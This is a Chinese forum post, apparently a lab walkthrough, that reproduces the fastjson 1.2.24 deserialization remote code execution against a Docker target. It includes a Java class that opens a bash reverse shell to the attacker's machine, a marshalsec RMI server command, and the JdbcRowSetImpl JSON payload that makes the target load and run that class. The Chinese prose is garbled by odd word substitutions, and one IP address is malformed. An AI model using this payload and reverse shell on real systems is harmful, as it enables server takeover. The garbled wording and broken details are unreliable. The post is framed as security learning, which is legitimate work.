马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
一、漏洞介绍
1、序列化和反序列化
(1)序列化:
将java对象转换成字节流的过程
java对象转酿成二进制内容byte[],序列化后就可以把二进制内容存到文件中,大概长途传输
java对象:对象是咱们自己定义得类创建出来得
(2)反序列化:
将字节流还原回java对象得过程
把一个二进制内容(byte[])变回java对象
2、为什么必要序列化和反序列化
两个终端进行通讯时,文本、图片、视频、链接,这些数据会以二进制得情势在网上传输
为了传输方便、生存方便,历程之间传输,所以要序列化
3、序列化怎样工作
当对象的类实现 java.io.Serializable ,该对象才能进行序列化
4、fastjson jackson gson 【序列或反序列化组件】
前后端数据传输交互中,字符串string和json\xml格式互相转换。【常用json】
键值对
{
"name":"cover-3321",
"age":18
}
fastjson是一个java写的拥有高性能且功能完善的json库,接口,简朴易用
二、漏洞原因
fastjson在解析json(反序列化)的过程中,支持利用@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。黑客通过查找代码中的get方法,来长途加载恶意下令,即造成反序列化漏洞
服务器的fastjson在处理json数据的过程中,没有对@type进行校验,攻击者就可以传入危险类,并且调用危险的类长途连接ldap/rmi服务,通过ldap/rmi服务上的恶意代码实验长途下令
涉及的fastjson版本<=1.2.24
三、漏洞复现
192.168.31.30为kali攻击机;192.168.31.221为靶机
1、启动靶场
(1)docker -compose up -d
(2)访问 http://你的IP:8090
【查看README.md】
(3)抓包测试是否可以修改
两处:
①GET请求改为POST
②增长了:{
"name":"coverxiaohe",
"age":20
}
2、kali配置java1.8环境
3、kali配置maven环境
【若未配置过,可查看大佬文章:kali 下安装 mvn_kali安装maven-CSDN博客】
4、创建类文件HackerFile.java
在/var/www/html下创建,http服务可访问。
- import java.lang.Runtime;
- import java.lang.Process;
- public class HackerFile {
- static {
- try {
- Runtime r = Runtime.getRuntime();
- Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.31.30/5555 0>&1"});
- p.waitFor();
- } catch (Exception e) {
- // do nothing
- }
- }
- }
复制代码 编译成恶意的类文件javac HackerFile.java
5、开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.31.30/#HackerFile" 6666
下载类文件时必要添加#
利用jar包开启rmi服务,使得他人可以访问、并将文件下载到本地去实验
6、开启5555端口监听
7、修改数据包实现下载
数据包内容:【以后利用fastjson,只需修改访问地址,其他是固定的】
- {
- "b":{
- "@type":"com.sun.rowset.JdbcRowSetImpl",
- "dataSourceName":"rmi://192.168.31.30:6666/HackerFile",
- "autoCommit":true
- }
- }
复制代码
拿到shell
8、get shell的过程
发送数据包之后,靶机通过rmi 6666端口 下载了恶意类文件并且实验了它
该文件里有kali 反弹shell的下令,故实现了get shell
【/bin/bash","-c","bash -i >& /dev/tcp/192.168.31.30/5555 0>&1】
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |